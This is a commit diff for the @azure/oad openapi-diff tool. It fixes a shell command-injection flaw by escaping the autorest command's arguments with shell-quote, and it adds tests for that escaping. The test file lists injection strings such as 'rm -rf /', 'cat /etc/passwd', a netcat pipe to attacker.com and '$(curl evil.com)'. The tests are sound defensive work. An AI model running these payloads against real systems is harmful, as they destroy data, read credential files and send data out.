openapi-diff: fixed issue reported by CodeQL

CHANGELOG.md

@@ -1,5 +1,9 @@
 # Changelog
 
+## 0.10.14 2025-06-19
+
+- escaped the input string when construct the autorest command
+
 ## 0.10.5 Released on 2024-02-16
 
 - update source map version from 0.7.3 to 0.7.4 so that it works with Node 18.

package.json

@@ -1,6 +1,6 @@
 {
   "name": "@azure/oad",
-  "version": "0.10.13",
+  "version": "0.10.14",
   "author": {
     "name": "Microsoft Corporation",
     "email": "azsdkteam@microsoft.com",
@@ -26,6 +26,7 @@
     "minimist": "^1.2.8",
     "request": "^2.88.0",
     "set-value": "^4.1.0",
+    "shell-quote": "^1.8.3",
     "source-map": "^0.7.4",
     "tslib": "^2.6.3",
     "winston": "^3.13.0",
@@ -40,6 +41,7 @@
     "@types/json-pointer": "^1.0.30",
     "@types/node": "^18.11.9",
     "@types/request": "^2.48.1",
+    "@types/shell-quote": "^1.7.5",
     "@types/yargs": "^13.0.0",
     "eslint": "^8.57.0",
     "jest": "^29.7.0",
@@ -80,7 +82,9 @@
   "jest": {
     "preset": "ts-jest",
     "collectCoverage": true,
-    "testMatch": ["**/*[tT]est.ts"],
+    "testMatch": [
+      "**/*[tT]est.ts"
+    ],
     "testTimeout": 100000
   },
   "scripts": {

src/lib/validators/openApiDiff.ts

@@ -10,6 +10,7 @@ import JSON_Pointer from "json-pointer"
 import * as jsonRefs from "json-refs"
 import * as os from "os"
 import * as path from "path"
+import { quote } from "shell-quote"
 import * as sourceMap from "source-map"
 import * as util from "util"
 import { log } from "../util/logging"
@@ -231,11 +232,12 @@ export class OpenApiDiff {
     const outputFolder = await fs.promises.mkdtemp(path.join(os.tmpdir(), "oad-"))
     const outputFilePath = path.join(outputFolder, `${outputFileName}.json`)
     const outputMapFilePath = path.join(outputFolder, `${outputFileName}.map`)
+    // quote behavior is validated in shellEscapingTest.ts
     const autoRestCmd = tagName
-      ? `${this.autoRestPath()} ${swaggerPath} --v2 --tag=${tagName} --output-artifact=swagger-document.json` +
-        ` --output-artifact=swagger-document.map --output-file=${outputFileName} --output-folder=${outputFolder}`
-      : `${this.autoRestPath()} --v2 --input-file=${swaggerPath} --output-artifact=swagger-document.json` +
-        ` --output-artifact=swagger-document.map --output-file=${outputFileName} --output-folder=${outputFolder}`
+      ? `${this.autoRestPath()} ${quote([swaggerPath])} --v2 --tag=${quote([tagName])} --output-artifact=swagger-document.json` +
+        ` --output-artifact=swagger-document.map --output-file=${quote([outputFileName])} --output-folder=${quote([outputFolder])}`
+      : `${this.autoRestPath()} --v2 --input-file=${quote([swaggerPath])} --output-artifact=swagger-document.json` +
+        ` --output-artifact=swagger-document.map --output-file=${quote([outputFileName])} --output-folder=${quote([outputFolder])}`
 
     log.debug(`Executing: "${autoRestCmd}"`)
 

src/test/shellEscapingTest.ts

@@ -0,0 +1,116 @@
+import * as assert from "assert"
+import { quote } from "shell-quote"
+
+// Test the shell-quote library integration to ensure our security fix works correctly
+test("shell escaping with quote function", () => {
+  // Test normal filenames (should not be escaped)
+  const normalFile = "simple-file.json"
+  const escapedNormal = quote([normalFile])
+  assert.strictEqual(escapedNormal, normalFile)
+
+  // Test filenames with spaces (should be quoted)
+  const fileWithSpaces = "file with spaces.json"
+  const escapedSpaces = quote([fileWithSpaces])
+  assert.strictEqual(escapedSpaces, "'file with spaces.json'")
+
+  // Test dangerous shell metacharacters (should be escaped)
+  const dangerousFile = "file;with&dangerous|chars$.json"
+  const escapedDangerous = quote([dangerousFile])
+  // shell-quote uses backslash escaping for certain characters
+  assert.ok(escapedDangerous.includes("\\;"))
+  assert.ok(escapedDangerous.includes("\\&"))
+  assert.ok(escapedDangerous.includes("\\|"))
+  assert.ok(escapedDangerous.includes("\\$"))
+})
+
+test("autorest command construction with dangerous inputs", () => {
+  // Simulate the command construction logic from processViaAutoRest
+  const autoRestPath = "/usr/bin/autorest"
+
+  // Test with dangerous file paths
+  const dangerousSwaggerPath = "/tmp/file;rm -rf /.json"
+  const dangerousOutputFile = "output;evil&command"
+  const dangerousTag = "tag$(evil)"
+
+  // Build command like in processViaAutoRest with escaping
+  const autoRestCmd =
+    autoRestPath +
+    " " +
+    quote([dangerousSwaggerPath]) +
+    " --v2 --tag=" +
+    quote([dangerousTag]) +
+    " --output-artifact=swagger-document.json --output-artifact=swagger-document.map --output-file=" +
+    quote([dangerousOutputFile])
+
+  // Verify that dangerous parts are properly escaped/quoted
+  // Files with spaces get quoted, dangerous chars get backslash-escaped
+  assert.ok(autoRestCmd.includes("'/tmp/file;rm -rf /.json'")) // quoted because of spaces
+  assert.ok(autoRestCmd.includes("output\\;evil\\&command")) // backslash-escaped
+  assert.ok(autoRestCmd.includes("tag\\$\\(evil\\)")) // backslash-escaped
+
+  // Verify that the command structure is maintained
+  assert.ok(autoRestCmd.includes("--v2"))
+  assert.ok(autoRestCmd.includes("--tag="))
+  assert.ok(autoRestCmd.includes("--output-file="))
+})
+
+test("autorest command construction without tag", () => {
+  const autoRestPath = "/usr/bin/autorest"
+  const swaggerPath = "/tmp/test file.json"
+  const outputFile = "output file"
+  const outputFolder = "/tmp/output folder"
+
+  // Build command without tag (different structure)
+  const autoRestCmd =
+    `${autoRestPath} --v2 --input-file=${quote([swaggerPath])} --output-artifact=swagger-document.json` +
+    ` --output-artifact=swagger-document.map --output-file=${quote([outputFile])} --output-folder=${quote([outputFolder])}`
+
+  // Verify correct command structure for non-tagged case
+  assert.ok(autoRestCmd.includes("--input-file="))
+  assert.ok(!autoRestCmd.includes("--tag="))
+  assert.ok(autoRestCmd.includes("--v2"))
+
+  // Verify spaces are properly quoted
+  assert.ok(autoRestCmd.includes("'/tmp/test file.json'"))
+  assert.ok(autoRestCmd.includes("'output file'"))
+  assert.ok(autoRestCmd.includes("'/tmp/output folder'"))
+})
+
+test("command injection prevention", () => {
+  // Test various command injection attempts
+  const injectionAttempts = [
+    "file.json; rm -rf /",
+    "file.json && cat /etc/passwd",
+    "file.json | nc attacker.com 1234",
+    "file.json $(curl evil.com)",
+    "file.json `wget malware.com`",
+    "file.json & background-evil-command"
+  ]
+
+  injectionAttempts.forEach(attempt => {
+    const escaped = quote([attempt])
+    // Verify that the dangerous parts cannot be executed as separate commands
+    // They should either be quoted or have dangerous chars escaped
+    const hasDangerousUnescaped = /[^\\][;&|$`]/.test(escaped) && !escaped.includes("'")
+    assert.ok(!hasDangerousUnescaped, `Injection attempt not properly escaped: ${attempt} -> ${escaped}`)
+  })
+})
+
+test("edge cases and special characters", () => {
+  // Test empty string
+  assert.strictEqual(quote([""]), "''")
+
+  // Test string with only spaces
+  assert.strictEqual(quote(["   "]), "'   '")
+
+  // Test string with newlines
+  const withNewlines = "file\nwith\nnewlines.json"
+  const escapedNewlines = quote([withNewlines])
+  // Should be safely handled
+  assert.ok(typeof escapedNewlines === "string")
+
+  // Test unicode and special chars
+  const unicodeFile = "файл.json"
+  const escapedUnicode = quote([unicodeFile])
+  assert.ok(escapedUnicode.includes("файл"))
+})